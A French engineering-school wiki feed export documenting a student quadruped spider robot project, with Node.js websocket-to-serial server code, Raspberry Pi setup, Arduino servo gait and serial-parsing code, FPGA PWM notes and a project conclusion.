=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
Une fois l'application web créée et l'envoi des données possible sur le terminal grâce aux websockets, nous avons dû cette fois rediriger les données sur le port série. Cette partie nous a posé beaucoup de difficultés car nous n'arrivions pas à voir si les données s'envoyaient réellement ou non. Cependant, grâce au module &amp;quot;serial-port&amp;quot; de Node, l'envoi des données était assez simple en ayant bien lu la documentation. Nous n'avions simplement pas vu que le problème se posait du coté de la réception où l'arduino avait du mal à recevoir convenablement le message envoyé sur le port série. &lt;br /&gt;
Pour palier ce problème, nous avons élaboré un algorithme extrêmement basique sur arduino afin de pouvoir réaliser la transmission dans les meilleures conditions possibles. Celui ci traitant un à un les caractère afin de pouvoir reconstituer un entier de manière fiable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
server.js (permet d'envoyer le message créé dans deplacement.js sur le port série)&lt;br /&gt;
&lt;br /&gt;
 var express = require('express');&lt;br /&gt;
 var app = express();&lt;br /&gt;
 var server = require('http').Server(app);&lt;br /&gt;
 var io = require('socket.io')(server);&lt;br /&gt;
 var SerialPort = require(&amp;quot;serialport&amp;quot;);&lt;br /&gt;
 var port = new SerialPort(&amp;quot;/dev/ttyUSB1&amp;quot;,{baudRate: 115200, parity : 'none', autoOpen :false});&lt;br /&gt;
 app.use(express.static(__dirname+&amp;quot;/../..&amp;quot;));&lt;br /&gt;
 app.use(express.static(__dirname+&amp;quot;/../../../bower_components/&amp;quot;));&lt;br /&gt;
 port.open(function (error){&lt;br /&gt;
  if(error)&lt;br /&gt;
  {&lt;br /&gt;
    console.log('Error while opening the port ' + error);&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
      io.on('connection', function(socket) {&lt;br /&gt;
        console.log('new connection');&lt;br /&gt;
        socket.on('message', function (message) {&lt;br /&gt;
          port.write(message, function(err) {&lt;br /&gt;
            if (err) {&lt;br /&gt;
              return console.log('Error on write: ', err.message);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
              console.log('Position : ' + message);&lt;br /&gt;
            }&lt;br /&gt;
          });&lt;br /&gt;
        });&lt;br /&gt;
      });&lt;br /&gt;
  }&lt;br /&gt;
 });&lt;br /&gt;
 server.listen(8080, function() {&lt;br /&gt;
  console.log('server up and running at 8080 port');&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
== Séance 3 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
envoi des données sur le port série&lt;br /&gt;
&lt;br /&gt;
Configuration de la Raspberry : &lt;br /&gt;
&lt;br /&gt;
- Configuration IP :La Raspberry doit pouvoir communiquer avec l'ordinateur de la salle de projet pour pouvoir avoir accès à l'application web ainsi qu'au réseau de Polytech pour pouvoir installer les différents paquetages de Node. Pour cela, on modifie le fichier /etc/network/interfaces en remplaçant l'IP présente dans le fichier par celle de notre ordinateur de salle de projet et on configure en static. La Raspberry peut ainsi communiquer avec l'ordinateur. Ensuite, on indique le serveur DNS dans le fichier /etc/resolv.conf par : nameserver 193.48.57.34&lt;br /&gt;
La Raspberry peut ainsi communiquer avec le réseau Polytech&lt;br /&gt;
&lt;br /&gt;
- Installation de Node sur la Raspberry et déplacement des fichiers de code. Nous avons été confronté à de nombreuses difficultés pour cette partie. En effet, notre code faisant intervenir de nombreux modules, il a fallu tous les installer et nous avons rencontré des problèmes de version entre node lui même et les modules. Nous sommes finalement parvenu à l'installation en installant des versions compatibles entre elles. On introduit les fichiers de code sur la Raspberry&lt;br /&gt;
&lt;br /&gt;
- Configuration de la Raspberry pour que le serveur se lance au démarrage. Pour pouvoir lancer le serveur au démarrage, on déplace les fichiers d'installation de Node dans /usr/local/sbin ainsi que nos programmes puis on modifie le fichier /etc/rc.local dont le contenu est exécuté à chaque démarrage de la Raspberry. On ajoute alors la ligne : /usr/local/sbin/node /usr/local/sbin/spiderS6/app/scripts/controllers/server.js &amp;amp; &lt;br /&gt;
Ainsi, le serveur est lancé à chaque démarrage de la Raspberry.&lt;br /&gt;
&lt;br /&gt;
=== Partie mécanique ===&lt;br /&gt;
&lt;br /&gt;
''Assemblage des pièces''' :&lt;br /&gt;
&lt;br /&gt;
Une fois en possession de toutes les pièces, nous avons procédé à l'assemblage.&lt;br /&gt;
Nous avons alors, pour chaque patte :&lt;br /&gt;
&lt;br /&gt;
- Placés les servos-moteurs à leur emplacement destiné en les collant pour ne pas qu'ils bougent&lt;br /&gt;
- Fixés le tibia sur le coude à l'aide d'une vis d'un coté et de colle de l'autre&lt;br /&gt;
- Fixés l'ensemble tibia-coude sur l'épaule à l'aide d'une vis d'un coté et de colle de l'autre&lt;br /&gt;
&lt;br /&gt;
Voici le rendu des pattes assemblées : &lt;br /&gt;
&lt;br /&gt;
                                                                          [[Fichier:Pattes.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois les pattes assemblées, nous devions les fixer sur le corps. Nous voulions au départ les coller mais même avec de la superglue, elles ne tenaient en raison de la différence de matériau entre les pattes et le corps. Nous avons alors percer le corps à quatres emplacements pour y visser les pattes avec l'aide de M.Thierry Flamen, responsable du labo d'électronique de Polytech (que nous remerçions grandement).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                         [[Fichier:Percage.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La partie mécanique de notre araignée est ainsi terminée. Malheuresement, nous n'avons pas pris de photo une fois cette phase finie.&lt;br /&gt;
&lt;br /&gt;
== Séance supplémentaire 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
La partie mécanique étant terminée, nous avons pu procéder au câblage des servos-moteurs sur l'arduino et la bread-board. &lt;br /&gt;
&lt;br /&gt;
Voici une photo du rendu de l'araignée câblée :&lt;br /&gt;
&lt;br /&gt;
                                                                         [[Fichier:Araignée.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
C'est lors de cette séance supplémentaire que nous avons mis en place le code arduino permettant à notre quadripode d'avancer. Nous étions partis à la base sur un système de déplacement par poussée de deux pates opposées en même temps. Cependant, l'araignée était trop instable et tombait souvent. Les tentatives de compensations du poid du quadripode ont rendus le code trop lourd et nous avons donc décidés de changer sa façon d'avancer. Nous avons donc analysés une vidéo d'une mygale qui avance et avons ensuite compris le mécanisme de déplacement des araignés.&lt;br /&gt;
Le code réalisé est donc le suivant:&lt;br /&gt;
&lt;br /&gt;
 int delai=300;&lt;br /&gt;
 //val AD&lt;br /&gt;
 &lt;br /&gt;
  int ADepauleArriere=100;&lt;br /&gt;
 int ADepauleAvant=40;&lt;br /&gt;
 int ADcoudeBas=100;//50&lt;br /&gt;
 int ADcoudeDroit=30;//100&lt;br /&gt;
 int ADpoignetPerpendiculaire=70;&lt;br /&gt;
 int ADpoignetDroit=90;&lt;br /&gt;
&lt;br /&gt;
  //val ARG&lt;br /&gt;
 int ARGepauleArriere=20;&lt;br /&gt;
 int ARGepauleAvant=80;&lt;br /&gt;
 int ARGcoudeBas=80;&lt;br /&gt;
 int ARGcoudeDroit=140;&lt;br /&gt;
 int ARGpoignetPerpendiculaire=60;&lt;br /&gt;
 int ARGpoignetDroit=40;&lt;br /&gt;
&lt;br /&gt;
 //VAL AG&lt;br /&gt;
 int AGepauleArriere=40;&lt;br /&gt;
 int AGepauleAvant=100;&lt;br /&gt;
 int AGcoudeBas=110;&lt;br /&gt;
 int AGcoudeDroit=30;//haut&lt;br /&gt;
 int AGpoignetPerpendiculaire=90;&lt;br /&gt;
 int AGpoignetDroit=40;&lt;br /&gt;
 //VAL ARD&lt;br /&gt;
 int ARDepauleArriere=70;&lt;br /&gt;
 int ARDepauleAvant=30;&lt;br /&gt;
 int ARDcoudeBas=100;&lt;br /&gt;
 int ARDcoudeDroit=30;//haut&lt;br /&gt;
 int ARDpoignetPerpendiculaire=140;&lt;br /&gt;
 int ARDpoignetDroit=180;&lt;br /&gt;
 int i;&lt;br /&gt;
 int j;&lt;br /&gt;
 &lt;br /&gt;
 void setup() {&lt;br /&gt;
  servoADepaule.attach(2);&lt;br /&gt;
  &lt;br /&gt;
  servoADcoude.attach(3);&lt;br /&gt;
 &lt;br /&gt;
  servoADpoignet.attach(4);&lt;br /&gt;
  servoADpoignet.write(ADpoignetPerpendiculaire);&lt;br /&gt;
  servoADepaule.write(ADepauleAvant);&lt;br /&gt;
  servoADcoude.write(ADcoudeBas);&lt;br /&gt;
  servoARGepaule.attach(5);&lt;br /&gt;
  servoARGcoude.attach(6);&lt;br /&gt;
  servoARGpoignet.attach(7);&lt;br /&gt;
  servoARGpoignet.write(ARGpoignetPerpendiculaire);&lt;br /&gt;
  servoARGepaule.write(ARGepauleArriere);&lt;br /&gt;
  servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
  servoAGepaule.attach(8);&lt;br /&gt;
  servoAGcoude.attach(9);&lt;br /&gt;
  servoAGpoignet.attach(10);&lt;br /&gt;
  servoAGpoignet.write(AGpoignetPerpendiculaire);&lt;br /&gt;
  servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
  servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
  servoARDepaule.attach(11);&lt;br /&gt;
  servoARDcoude.attach(12);&lt;br /&gt;
  servoARDpoignet.attach(13);&lt;br /&gt;
  servoARDpoignet.write(ARDpoignetPerpendiculaire);&lt;br /&gt;
  servoARDepaule.write(ARDepauleArriere);&lt;br /&gt;
  servoARDcoude.write(ARDcoudeBas);  &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 void loop() {&lt;br /&gt;
  servoARDepaule.write(ARDepauleAvant+j);&lt;br /&gt;
  servoAGepaule.write(AGepauleAvant-j);&lt;br /&gt;
  servoARGepaule.write(ARGepauleAvant-i);&lt;br /&gt;
  servoADepaule.write(ADepauleAvant+i);&lt;br /&gt;
  delay(20);&lt;br /&gt;
  if(j==50)&lt;br /&gt;
  {&lt;br /&gt;
    //on remet en avant AG et ARD&lt;br /&gt;
    servoAGcoude.write(AGcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARDcoude.write(ARDcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARDepaule.write(ARDepauleAvant);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARDcoude.write(ARDcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    j=0;&lt;br /&gt;
  }&lt;br /&gt;
  if(i==50)&lt;br /&gt;
  {&lt;br /&gt;
    //on remet en avant AD et ARG&lt;br /&gt;
    servoADcoude.write(ADcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoADepaule.write(ADepauleAvant);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoADcoude.write(ADcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARGcoude.write(ARGcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARGepaule.write(ARGepauleAvant);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    i=0;&lt;br /&gt;
  }&lt;br /&gt;
  i=i+5;&lt;br /&gt;
  j=j+5;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Ce code permet à l'araignée d'avancer ses pates de façon &amp;quot;asynchrone&amp;quot; (en réalité, l'asynchronisme est impossible sous arduino).&lt;br /&gt;
&lt;br /&gt;
Une fois que l'araignée avançait, nous avons dû mettre en place le contôle de celle-ci par le biais des informations envoyés par websocket. Dans notre cas,&lt;br /&gt;
le joystick envoi deux valeurs séparés par une virgule, la première correspondant à la composante en x et la seconde à la composante en y. Ainsi, nous stockons un à un les caractères reçu sur le port série de l'arduino jusqu'à tomber sur le séparateur. Nous stockons alors la valeur décimale des chiffres lus dans une variable. Il en est de même pour le nombre à droite du séparateur. Le code dans le setup() et dans le loop() devient donc :&lt;br /&gt;
&lt;br /&gt;
  int a;&lt;br /&gt;
  int b;&lt;br /&gt;
  int aPrint;&lt;br /&gt;
  int bPrint;&lt;br /&gt;
  int aMoins,bMoins;&lt;br /&gt;
  int debut;&lt;br /&gt;
  char firstVal[50];&lt;br /&gt;
  char secVal[50];&lt;br /&gt;
  char byteBuffer;&lt;br /&gt;
&lt;br /&gt;
  void setup() {&lt;br /&gt;
  servoADepaule.attach(2);&lt;br /&gt;
  &lt;br /&gt;
  servoADcoude.attach(3);&lt;br /&gt;
 &lt;br /&gt;
  servoADpoignet.attach(4);&lt;br /&gt;
  servoADpoignet.write(ADpoignetPerpendiculaire);&lt;br /&gt;
  servoADepaule.write(ADepauleAvant);&lt;br /&gt;
  servoADcoude.write(ADcoudeBas);&lt;br /&gt;
  servoARGepaule.attach(5);&lt;br /&gt;
  servoARGcoude.attach(6);&lt;br /&gt;
  servoARGpoignet.attach(7);&lt;br /&gt;
  servoARGpoignet.write(ARGpoignetPerpendiculaire);&lt;br /&gt;
  servoARGepaule.write(ARGepauleArriere);&lt;br /&gt;
  servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
  servoAGepaule.attach(8);&lt;br /&gt;
  servoAGcoude.attach(9);&lt;br /&gt;
  servoAGpoignet.attach(10);&lt;br /&gt;
  servoAGpoignet.write(AGpoignetPerpendiculaire);&lt;br /&gt;
  servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
  servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
  servoARDepaule.attach(11);&lt;br /&gt;
  servoARDcoude.attach(12);&lt;br /&gt;
  servoARDpoignet.attach(13);&lt;br /&gt;
  servoARDpoignet.write(ARDpoignetPerpendiculaire);&lt;br /&gt;
  servoARDepaule.write(ARDepauleArriere);&lt;br /&gt;
  servoARDcoude.write(ARDcoudeBas);&lt;br /&gt;
  &lt;br /&gt;
  delay(2000);&lt;br /&gt;
  i=0;&lt;br /&gt;
  j=25;&lt;br /&gt;
  Serial.begin(115200);&lt;br /&gt;
  a=0;&lt;br /&gt;
  b=0;&lt;br /&gt;
  aMoins=0;&lt;br /&gt;
  bMoins=0;&lt;br /&gt;
  i=0;&lt;br /&gt;
  debut=1;&lt;br /&gt;
  byteBuffer='a';&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
 void loop() {&lt;br /&gt;
  if(Serial.available() &amp;gt; 0)&lt;br /&gt;
  {&lt;br /&gt;
  while(Serial.available() &amp;gt; 0)&lt;br /&gt;
   {&lt;br /&gt;
     delay(10);&lt;br /&gt;
     byteBuffer = Serial.read(); &lt;br /&gt;
     if(debut==1)&lt;br /&gt;
     {&lt;br /&gt;
       if(byteBuffer==',')&lt;br /&gt;
       {&lt;br /&gt;
         debut=0;&lt;br /&gt;
       }  &lt;br /&gt;
       else&lt;br /&gt;
       {&lt;br /&gt;
         a=10*a;&lt;br /&gt;
         switch(byteBuffer)&lt;br /&gt;
         {&lt;br /&gt;
         case '-':&lt;br /&gt;
           a=0;&lt;br /&gt;
           aMoins=1;&lt;br /&gt;
           break;&lt;br /&gt;
         case '1':&lt;br /&gt;
           a=a+1;&lt;br /&gt;
           break;&lt;br /&gt;
         case '2':&lt;br /&gt;
           a=a+2;&lt;br /&gt;
           break;&lt;br /&gt;
         case '3':&lt;br /&gt;
           a=a+3;&lt;br /&gt;
           break;&lt;br /&gt;
         case '4':&lt;br /&gt;
           a=a+4;&lt;br /&gt;
           break;&lt;br /&gt;
         case '5':&lt;br /&gt;
           a=a+5;&lt;br /&gt;
           break;&lt;br /&gt;
         case '6':&lt;br /&gt;
           a=a+6;&lt;br /&gt;
           break;&lt;br /&gt;
         case '7':&lt;br /&gt;
           a=a+7;&lt;br /&gt;
           break;&lt;br /&gt;
         case '8':&lt;br /&gt;
           a=a+8;&lt;br /&gt;
           break;&lt;br /&gt;
         case '9':&lt;br /&gt;
           a=a+9;&lt;br /&gt;
           break;&lt;br /&gt;
         default:&lt;br /&gt;
           break;  &lt;br /&gt;
         }&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
       if(byteBuffer==';')&lt;br /&gt;
       {&lt;br /&gt;
         if(aMoins==1)&lt;br /&gt;
         {&lt;br /&gt;
           a=-a;&lt;br /&gt;
         }&lt;br /&gt;
         if(bMoins==1)&lt;br /&gt;
         {&lt;br /&gt;
           b=-b;&lt;br /&gt;
         }&lt;br /&gt;
         debut=1;&lt;br /&gt;
         if(b&amp;gt;0)&lt;br /&gt;
         {&lt;br /&gt;
            servoARDepaule.write(ARDepauleAvant+j);&lt;br /&gt;
            servoAGepaule.write(AGepauleAvant-j);&lt;br /&gt;
            servoARGepaule.write(ARGepauleAvant-i);&lt;br /&gt;
            servoADepaule.write(ADepauleAvant+i); &lt;br /&gt;
            delay(20);&lt;br /&gt;
            if(j==50)&lt;br /&gt;
            {&lt;br /&gt;
              //on remet en avant AG et ARD&lt;br /&gt;
              servoAGcoude.write(AGcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
&lt;br /&gt;
              servoARDcoude.write(ARDcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARDepaule.write(ARDepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARDcoude.write(ARDcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              j=0;&lt;br /&gt;
            }&lt;br /&gt;
            if(i==50)&lt;br /&gt;
            {&lt;br /&gt;
              //on remet en avant AD et ARG&lt;br /&gt;
              servoADcoude.write(ADcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoADepaule.write(ADepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoADcoude.write(ADcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
&lt;br /&gt;
              servoARGcoude.write(ARGcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARGepaule.write(ARGepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              i=0;&lt;br /&gt;
            }&lt;br /&gt;
            i=i+5;&lt;br /&gt;
            j=j+5;&lt;br /&gt;
         &lt;br /&gt;
         }&lt;br /&gt;
         aMoins=0;&lt;br /&gt;
         bMoins=0;&lt;br /&gt;
       }&lt;br /&gt;
       else&lt;br /&gt;
       {&lt;br /&gt;
         b=10*b;&lt;br /&gt;
         switch(byteBuffer)&lt;br /&gt;
         {&lt;br /&gt;
         case '-':&lt;br /&gt;
           b=0;&lt;br /&gt;
           bMoins=1;&lt;br /&gt;
           break;&lt;br /&gt;
         case '1':&lt;br /&gt;
           b=b+1;&lt;br /&gt;
           break;&lt;br /&gt;
         case '2':&lt;br /&gt;
           b=b+2;&lt;br /&gt;
           break;&lt;br /&gt;
         case '3':&lt;br /&gt;
           b=b+3;&lt;br /&gt;
           break;&lt;br /&gt;
         case '4':&lt;br /&gt;
           b=b+4;&lt;br /&gt;
           break;&lt;br /&gt;
         case '5':&lt;br /&gt;
           b=b+5;&lt;br /&gt;
           break;&lt;br /&gt;
         case '6':&lt;br /&gt;
           b=b+6;&lt;br /&gt;
           break;&lt;br /&gt;
         case '7':&lt;br /&gt;
           b=b+7;&lt;br /&gt;
           break;&lt;br /&gt;
         case '8':&lt;br /&gt;
           b=b+8;&lt;br /&gt;
           break;&lt;br /&gt;
         case '9':&lt;br /&gt;
           b=b+9;&lt;br /&gt;
           break;  &lt;br /&gt;
         default:&lt;br /&gt;
           break;&lt;br /&gt;
         }&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
   } &lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
En ayant apporté beaucoup de notre temps-libre, nous sommes finalement parvenus à faire fonctionner notre araignée. Cependant, par manque de temps, notre araignée ne remplit pas complètement le cahier des charges. En effet, nous n'utilisons pas les modules XBee puisque nous avons rencontré des problèmes pour les configurer et notre araignée ne se déplace que dans une seule direction et à une vitesse constante. &lt;br /&gt;
Ayant sous estimé l'épaisseur et le poids de l'ensemble arduino + bread-board + câbles, nous n'avons pas pu les fixer en dessous du corps comme prévu et cette ensemble traîne donc par terre...&lt;br /&gt;
Voici le rendu vidéo de notre projet :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=olmXs5BT4MU| Rendu vidéo final (Youtube)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce projet de Systèmes-communicants nous a tout d'abord permis d'avoir une idée de ce qu'est la filière système communicants. Ensuite il nous a permis de nous améliorer sur la méthodologie de la gestion de projet en terme de gestion du temps, de tests, de répartition des tâches. Enfin, la pluralité disciplinaire de ce projet a permis de satisfaire tous les membres du groupe.&lt;br /&gt;
&lt;br /&gt;
Avec un peu plus de temps, nous aurions pu répondre complètement au cahier des charges, à savoir profiter pleinement de la définition d'un joystick pour contrôler notre araignée. Nous aurions aussi pu réaliser une carte électronique afin de ne pas être encombré par tous les câbles, ce qui aurait enrichi la partie électronique et amélioré l'esthétique de notre projet en évitant que notre araignée ait à tracter des composants.&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Video-1497448769.mp4&amp;diff=43873</id>
		<title>Fichier:Video-1497448769.mp4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Video-1497448769.mp4&amp;diff=43873"/>
				<updated>2017-06-14T14:53:33Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : Video groupe 1 TD2&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Video groupe 1 TD2&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=43707</id>
		<title>Projet IMA3 P1, 2016/2017, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=43707"/>
				<updated>2017-06-11T22:54:45Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Partie informatique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Projet IMA3-SC 2016/2017 : Robot quadripode =&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
=== Description du système ===&lt;br /&gt;
&lt;br /&gt;
Notre projet est de réaliser un robot quadripode contrôlé par notre interface web. &lt;br /&gt;
Celui ci aura pour objectif de :&lt;br /&gt;
* se déplacer sur ses pattes dans les directions indiquées par l'utilisateur.&lt;br /&gt;
* Se déplacer à la vitesse demandée par l'utilisateur qui sera plus ou moins rapide.&lt;br /&gt;
&lt;br /&gt;
Chaque pattes possédera 3 articulations afin de faciliter le déplacement du robot. Un des servo-moteur permettra de faire avancer ou reculer la patte, le deuxième permettra au robot de se surélever ou de s'abaisser et le dernier permettra de poser la patte perpendiculaire par rapport au sol.&lt;br /&gt;
&lt;br /&gt;
En fonction du temps que nous prendrons à réaliser notre projet, nous aurons peut être la possibilité d'ajouter une fonctionnalité de vidéo à notre robot. Nous aurons alors la possibilité de voir à travers le robot sur notre interface web.&lt;br /&gt;
&lt;br /&gt;
=== Le matériel ===&lt;br /&gt;
&lt;br /&gt;
Le matériel pour réaliser notre robot quadripode est relativement simple . Nous aurons besoin d'un accès a un ordinateur équipé d'un système linux . Pour le quadripode , nous aurons besoins de :&lt;br /&gt;
* Une raspberry Pi ( de préférence une raspberry pi zéro en raison de sa petite taille)&lt;br /&gt;
* 12 micro servos moteurs pour le mouvement des pattes , soit 2 servos-moteurs par patte .&lt;br /&gt;
* Un module wifi pour la raspberry Pi.&lt;br /&gt;
* Toutes sortes d'écrous et vis dont nous détaillerons le contenu dans le futur.&lt;br /&gt;
* En option , une caméra compatible raspberry pi , pour transmettre une vidéo en direct sur l'interface web, ainsi que son raccordement.&lt;br /&gt;
* Une breadboard pour tester les circuits .&lt;br /&gt;
* Un câble nappe pour raspberry pi .&lt;br /&gt;
&lt;br /&gt;
La liste réalisée est provisoire et pourra subir de légers changement avant le début de projet (les types d'écrous et vis seront détaillés) . Nous aurons en plus des éléments précédents , besoin d'un accès a l'imprimante 3D afin d'imprimer les différentes parties du quadripode .&lt;br /&gt;
&lt;br /&gt;
== Séance 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
La conclusion que nous pouvons apporter après cette première séance de projet est que la partie électronique de ce projet ne s’entendra pas sur les 3 seéances puisque, suite à des discussions avec les différents professeurs, nous avons vu qu'il était plus adéquat de ne pas utiliser de FPGA pour la construction de l'araignée vu que nous utilisons un grand nombre de moteurs. Nous allons donc utiliser une unique carte Arduino qui contrôlera l'intégralité des moteurs.&lt;br /&gt;
&lt;br /&gt;
Pour répondre au cahier des charges du projet, nous avons donc, quand même, programmé un FPGA contrôlant un des moteurs afin de manipuler tous les outils mis à notre dispositions. Nous allons donc vous présenter, dans cette partie, comment nous avons fait fonctionné notre moteur grâce au FPGA.&lt;br /&gt;
&lt;br /&gt;
Avant de pouvoir programmer notre FPGA, nous avons fait des recherches sur la data-sheet du moteur pour déterminer son mode de fonctionnement.&lt;br /&gt;
&lt;br /&gt;
[[Image:data-sheet_moteur.jpg|vignette|center|upright=3.4|alt=fonctionnement moteur|Fonctionnement du moteur]]&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir grâce à la data-sheet que, pour que notre moteur fonctionne, il faut que le VCC(=5V) soit connecté au câble rouge, la masse au câble marron et le moduleur de largeur d'impulsion (PWM) au câble orange. On remarque également que notre moteur fonctionne à une fréquence de 50Hz (donc une période de 20 ms) et que le sens de rotation dépends du temps à l'état haut du signal. C'est à dire que pour que le moteur tourne dans le sens anti-horaire, il faut que le duty cycle (rapport cyclique) soit à 1 ms, pour aller dans le sens horaire, il doit être de 2 ms et pour que le moteur s'arrête au centre, le rapport cyclique doit être de 1.5ms. Nous allons donc jouer sur ce rapport cyclique afin de changer le sens de rotation du moteur.&lt;br /&gt;
&lt;br /&gt;
Le problème qui s'est posé à nous est d'être assez précis pour pouvoir modifier de manière efficace le rapport cyclique. Étant donné que nous souhaitons avoir une précision de 0.1 ms sur une période de 20 ms, il nous faut donc 200 coups d'horloge (20/0.1). Comme nous fonctionnons à 50Hz, la fréquence du FPGA sera de 50*200=10000 Hz.&lt;br /&gt;
&lt;br /&gt;
Pour faire fonctionner le moteur dans les 2 sens, nous devons maintenant &amp;quot;dire&amp;quot; au FPGA que quand notre compteur arrive a 200, il passe à 1. Il reste à 1 jusqu'a la valeur choisie puis passe à 0 jusque 200.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:fpga.jpg|vignette|center|upright=3.4|alt=Schema fpga|Schema bloc du fpga]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme vous pouvez le voir sur l'image ci-dessus, nous avons fixé le BUS_JS à la valeur 200, ce bus est connecté à un comparateur et au compteur afin de compter jusque 200. Nous avons ensuite défini le Configurable Digital IO pour mettre la valeur souhaitée pour le fonctionnement du moteur (comprise entre 10 et 20). Cette valeur est mise dans le second comparateur (avec la valeur 200) et nous envoyons ceci dans le moteur qui nous donne la courbe suivante.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:graphe.jpg|vignette|center|upright=3.4|alt=courbe fpga|Graphe]]&lt;br /&gt;
&lt;br /&gt;
Nous avons donc, dans la vidéo ci-dessous, mis la valeur 10 et 20 dans le Configurable Digital IO et nous remarquons que le moteur tourne bien dans les 2 sens.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;include iframe src=&amp;quot;https://www.youtube.com/embed/g1hDQJHcsJw&amp;quot; width=&amp;quot;320px&amp;quot; height=&amp;quot;320px&amp;quot; frameborder=&amp;quot;0&amp;quot; scrolling=&amp;quot;yes&amp;quot;/&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
Pour l'application web, nous avons décidé d'utiliser Node ainsi que Angular et les modules socket.IO, serialport de Node pour envoyer nos données vers l'arduino via une Raspberry. Nous voulions utiliser ces technologies récentes afin d'avoir une petite expériences avec celles ci et pour pouvoir apprendre à les utiliser. Angular nous permettant de créer une applicaton dynamique aisément.&lt;br /&gt;
Cette application web représente un joystick qui nous servira à faire déplacer notre robot. Celui ci devra permettre de dire au robot dans quelle direction il doit se déplacer et à quelle vitesse. De plus, il affichera sur la page web la direction que l'utilisateur est en train de donner.&lt;br /&gt;
&lt;br /&gt;
